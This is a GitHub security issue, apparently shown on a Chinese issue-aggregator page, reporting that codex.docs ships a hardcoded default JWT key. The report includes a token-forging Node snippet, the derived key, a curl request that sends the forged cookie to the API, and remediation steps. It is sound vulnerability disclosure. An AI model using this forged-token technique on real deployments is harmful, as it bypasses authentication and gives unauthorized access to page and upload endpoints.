[Security] Hardcoded default JWT secret enables full API authentication bypass
还没有人认领这个 Issue。
评估
- 难度
- 4/5
- 预计耗时
- 3-5 天
- 新手友好度
- 48/100
- Issue 类型
- 缺陷
- 描述清晰度
- 描述清楚
- 活跃度
- 活跃
- 技术栈
- typescript
调研方向
Start with src/backend/utils/appConfig.ts, docs-config.yaml, src/backend/routes/auth.ts, and src/backend/routes/middlewares/token.ts, then trace the /api middleware in src/backend/routes/index.ts. Review the existing configuration and authentication tests, or add regression coverage as suggested, with completion shown by rejecting known default credentials and forged tokens.
由索引模型根据 Issue 内容生成。
描述
Hardcoded default JWT secret enables full API authentication bypass
Hello maintainers,
I found a hardcoded JWT signing key in codex.docs. The default password and secret are public, and the application concatenates them into the key used to sign and verify every authentication token. A deployment that does not override these values can be fully accessed through the protected /api routes by forging an authToken cookie.
Severity
Suggested severity: High, conditional on the deployment retaining the shipped defaults.
Weaknesses: CWE-798 (Use of Hard-coded Credentials), CWE-321 (Use of Hard-coded Cryptographic Key).
Affected reference: package version 2.3.3, current main at commit f0e14c1f143d02e040664216fdf273b6bca0c420.
Root cause
The default configuration contains the following public values (appConfig.ts#L142-L145):
'auth': {
'secret': 'supersecret',
'password': 'secretpassword',
},
The same values are also present in the distributed YAML configuration (docs-config.yaml#L28-L30):
auth:
password: secretpassword
secret: supersecret
The application uses their concatenation as the JWT key when issuing and validating tokens (auth.ts#L45-L53, token.ts#L13-L31):
const token = jwt.sign({
iss: 'Codex Team',
sub: 'auth',
}, appConfig.auth.password + appConfig.auth.secret);
const decodedToken = jwt.verify(
token,
appConfig.auth.password + appConfig.auth.secret,
);
Therefore, the effective signing key is:
secretpasswordsupersecret
The default config path is selected automatically and merged with defaultConfig (appConfig.ts#L160-L171). There is no check that rejects these known defaults.
Impact
The /api router applies verifyToken and allowEdit to every API endpoint (routes/index.ts#L13-L17). A forged token therefore passes the only authentication gate for:
- page reads and page CRUD operations (
api/pages.ts#L34-L225); - image and file uploads (
api/transport.ts#L56-L138.
The attacker does not need the configured admin password or a valid login session. Knowing the public source is sufficient to create a valid authToken cookie.
Static proof of concept
No live deployment or dynamic environment is required:
const jwt = require('jsonwebtoken');
const forgedToken = jwt.sign(
{ iss: 'Codex Team', sub: 'auth' },
'secretpasswordsupersecret',
);
console.log(forgedToken);
Send the result as the cookie expected by the middleware:
curl -i \
--cookie "authToken=<forged-token>" \
http://127.0.0.1:3000/api/pages
Expected result on a deployment using the defaults: the forged token passes jwt.verify() and the request reaches the API handler. Without a valid cookie, the same request is redirected to /auth by allowEdit.
Recommended remediation
- Remove
passwordandsecretdefaults from the tracked/distributed configuration. Commit only an example file with clearly non-operational placeholders. - Require a dedicated, random
JWT_SECRETfrom the deployment environment and fail closed when it is missing or matches a known default. - Do not derive the JWT key by concatenating the administrator password with another static value.
- Rotate the JWT key and administrator password for every deployment that used these defaults.
- Add regression tests proving that the default configuration cannot start and that a token signed with
secretpasswordsupersecretis rejected.
Related works
- GHSA-cwj8-7gp2-ggcw — default JWT signing secret enables token forgery.
- GHSA-mqq6-462x-jxmm — hardcoded JWT secret in a REST boilerplate enables authentication bypass.
- GHSA-cc4f-hjpj-g9p8 — weak default JWT secrets allow impersonation.
- GHSA-c8m8-3jcr-6rj5 — static fallback JWT secret permits forged tokens when authentication is enabled.
- LibreChat credential-removal commit — removal of published credential defaults.
- GHSA-gc24-px2r-5qmf — hardcoded signing secret combined with missing authentication checks.
- GHSA-4m32-cjv7-f425 — hardcoded JWT signing key enables authentication bypass and follow-on impact.
- GHSA-v9q6-fm48-rx74 — hardcoded session secret enables forged authentication state.
This report is part of my ongoing security research. If you have any questions or would like me to clarify any detail, please feel free to @mention me at any time. I would be genuinely pleased to contribute, even in a small way, to improving the security of your product.
- 主要语言
- TypeScript
- 星标
- 845
- 派生
- 88
- PR 合并指标
- 30 天内没有已合并 PR
环境准备
- 提供 Dockerfile 或 Docker Compose 文件
- 没有 Pull Request 模板
- 没有贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
codex-team/codex.docs 的其他 Issue
-
good first issue
难度 2/5 1-3 小时 新手友好度 55/100
codex-team/codex.docs#324 · 1 个 reaction ·
-
难度 3/5 1-2 天 新手友好度 35/100
codex-team/codex.docs#323 ·
-
难度 5/5 一周以上 新手友好度 25/100
codex-team/codex.docs#321 ·
-
难度 4/5 3-5 天 新手友好度 25/100
codex-team/codex.docs#319 ·
-
难度 4/5 3-5 天 新手友好度 25/100
codex-team/codex.docs#318 · 2 条评论 ·
查看 codex-team/codex.docs 的全部 Issue
相似的 Issue
-
bug priority: P2
难度 2/5 1-3 小时 新手友好度 78/100
维护者通常 1 天内回复
-
wayfinder:task
难度 2/5 1-3 小时 新手友好度 65/100
维护者通常 1 天内回复
-
bug customer-reported data-plane question Service Attention Storage
难度 2/5 1-3 小时 新手友好度 69/100
Azure/azure-rest-api-specs#47397 · 2 条评论 ·
维护者通常 1 天内回复
-
Claude thinking budget can shrink capped Haiku responses to 2,048 tokens可能已有人在做 @DavyMassoneto 今天认领。 未关闭
难度 2/5 1-3 小时 新手友好度 78/100
diegosouzapw/OmniRoute#17109 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 76/100
paperclipai/paperclip#16785 ·
维护者通常 1 天内回复